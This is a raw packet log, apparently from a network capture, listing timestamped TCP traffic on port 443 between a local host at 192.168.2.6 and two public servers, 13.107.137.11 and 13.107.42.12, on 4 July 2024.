Jul 4, 2024 20:17:56.079931021 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.079952002 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.080379009 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.080385923 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.080424070 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.080430984 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.080440998 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.080578089 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.080606937 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.080626011 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.080632925 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.080643892 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.081293106 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.081341028 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.081346035 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.081824064 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.081875086 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.081881046 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.082025051 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.082062960 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.082067013 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.082751989 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.082803965 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.082808971 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.083129883 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.083182096 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.083187103 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.083857059 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.083911896 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.083913088 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.083921909 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.083952904 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.084005117 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.084049940 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.084462881 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.094727993 CEST	49835	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:56.094753981 CEST	443	49835	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:56.094814062 CEST	49835	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:56.095088005 CEST	49835	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:56.095103025 CEST	443	49835	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:56.693535089 CEST	443	49835	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:56.701412916 CEST	49835	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:56.701427937 CEST	443	49835	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:56.872805119 CEST	443	49835	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:56.872993946 CEST	443	49835	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:56.875580072 CEST	49835	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:56.877516985 CEST	49835	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:56.877526045 CEST	49836	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.877564907 CEST	443	49836	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.879725933 CEST	49836	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.880414009 CEST	49836	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.880424976 CEST	443	49836	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.991271973 CEST	49837	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:56.991274118 CEST	49836	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.991296053 CEST	443	49837	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:56.991466999 CEST	49837	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:56.993396044 CEST	49837	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:56.993407965 CEST	443	49837	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:57.032507896 CEST	443	49836	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:57.084522009 CEST	49838	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:57.084522009 CEST	49837	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:57.084538937 CEST	443	49838	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:57.084695101 CEST	49838	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:57.085392952 CEST	49838	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:57.085402966 CEST	443	49838	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:57.128505945 CEST	443	49837	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:57.507549047 CEST	443	49836	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:57.507626057 CEST	49836	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:57.566046000 CEST	443	49837	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:57.566118956 CEST	49837	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:57.694408894 CEST	443	49838	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:57.694495916 CEST	49838	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:57.695498943 CEST	443	49838	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:57.695557117 CEST	49838	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:57.697720051 CEST	49838	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:57.697727919 CEST	443	49838	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:57.698097944 CEST	443	49838	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:57.699682951 CEST	49838	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:57.744508982 CEST	443	49838	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:57.832596064 CEST	443	49838	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:57.832830906 CEST	443	49838	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:57.832882881 CEST	49838	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:57.833091974 CEST	49838	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:57.834655046 CEST	49839	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:57.834716082 CEST	443	49839	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:57.834791899 CEST	49839	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:57.835171938 CEST	49839	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:57.835189104 CEST	443	49839	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:58.703793049 CEST	443	49839	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:58.703881025 CEST	49839	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:58.709398985 CEST	49839	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:58.709417105 CEST	443	49839	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:58.709786892 CEST	443	49839	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:58.712408066 CEST	49839	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:58.756499052 CEST	443	49839	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:59.337800026 CEST	443	49839	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:59.337877035 CEST	49839	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:59.337908983 CEST	443	49839	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:59.338108063 CEST	443	49839	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:59.338176012 CEST	49839	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:59.338665009 CEST	49839	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:59.340141058 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:59.340169907 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:59.340229988 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:59.340594053 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:59.340605974 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:59.945827007 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:59.982310057 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:59.982319117 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.140841961 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.140893936 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.140978098 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.140997887 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.141153097 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.141693115 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.141716003 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.141782045 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.141787052 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.142292976 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.142357111 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.142363071 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.142426014 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.233021975 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.233140945 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.233155966 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.233920097 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.234009981 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.234014988 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.234811068 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.234890938 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.234895945 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.236336946 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.236417055 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.236422062 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.286379099 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.322860003 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.322880983 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.323000908 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.323009014 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.323260069 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.323299885 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.323343992 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.323348045 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.323448896 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.323913097 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.323931932 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.324053049 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.324059010 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.324198961 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.324229002 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.324234009 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.324306965 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.325134039 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.325232029 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.325236082 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.325370073 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.325903893 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.326030016 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.326035023 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.326946974 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.327047110 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.327095032 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.327100039 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.327137947 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.380140066 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.413113117 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.413388014 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.413415909 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.413434982 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.413460016 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.413573980 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.414273024 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.414401054 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.414408922 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.414551020 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.414664030 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.414967060 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.415020943 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.415030003 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.415100098 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.415559053 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.415729046 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.415771961 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.415785074 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.415858984 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.416136980 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.416567087 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.416640043 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.416646957 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.416683912 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.416769981 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.416774988 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.417459011 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.417581081 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.417586088 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.417849064 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.418047905 CEST	443	49840	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:00.418168068 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.419446945 CEST	49840	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:00.427681923 CEST	49841	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:00.427736044 CEST	443	49841	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:00.427851915 CEST	49841	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:00.428416967 CEST	49841	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:00.428441048 CEST	443	49841	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:01.008600950 CEST	443	49841	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:01.011250019 CEST	49841	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:01.011288881 CEST	443	49841	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:01.139915943 CEST	443	49841	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:01.140012026 CEST	443	49841	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:01.140126944 CEST	49841	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:01.141391993 CEST	49841	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:01.141758919 CEST	49842	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:01.141782999 CEST	443	49842	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:01.141913891 CEST	49842	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:01.142117023 CEST	49842	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:01.142126083 CEST	443	49842	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:01.832598925 CEST	443	49842	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:01.835818052 CEST	49842	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:01.835865021 CEST	443	49842	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:02.821933985 CEST	443	49842	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:02.822092056 CEST	49842	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:02.822118998 CEST	443	49842	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:02.822149038 CEST	443	49842	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:02.822845936 CEST	49842	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:02.822930098 CEST	49842	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:02.824286938 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:02.824317932 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:02.824498892 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:02.825104952 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:02.825122118 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.448720932 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.453536987 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.453545094 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.671571016 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.672105074 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.672127008 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.672158957 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.672169924 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.672209024 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.672259092 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.672323942 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.761548996 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.761627913 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.761637926 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.762378931 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.762439013 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.762445927 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.763169050 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.763225079 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.763231039 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.764172077 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.764230967 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.764238119 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.848900080 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.850934982 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.850958109 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.850975990 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.851001978 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.851054907 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.851064920 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.851197958 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.851218939 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.851249933 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.851255894 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.851273060 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.851756096 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.851804972 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.851815939 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.851828098 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.851859093 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.852616072 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.852675915 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.852680922 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.853296995 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.853357077 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.853363991 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.854142904 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.854232073 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.854238987 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.854302883 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.854362965 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.854368925 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.855199099 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.855268002 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.855274916 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.941534996 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.941606045 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.941615105 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.941881895 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.941900969 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.941934109 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.941936016 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.941957951 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.941961050 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.941987991 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.942066908 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.942085028 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.942118883 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.942125082 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.942152023 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.942256927 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.942293882 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.942312956 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.942320108 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.942353010 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.942787886 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.942899942 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.942907095 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.943109035 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.943161964 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.943169117 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.943325043 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.943375111 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.943382025 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.943948984 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.944001913 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.944006920 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.944188118 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.944251060 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.944257975 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.944915056 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.945004940 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.945012093 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.945205927 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.945266962 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.945271969 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.945286036 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.945334911 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.945339918 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.945733070 CEST	443	49843	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:03.945785046 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.946012974 CEST	49843	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:03.961272955 CEST	49844	443	192.168.2.6	13.107.42.12
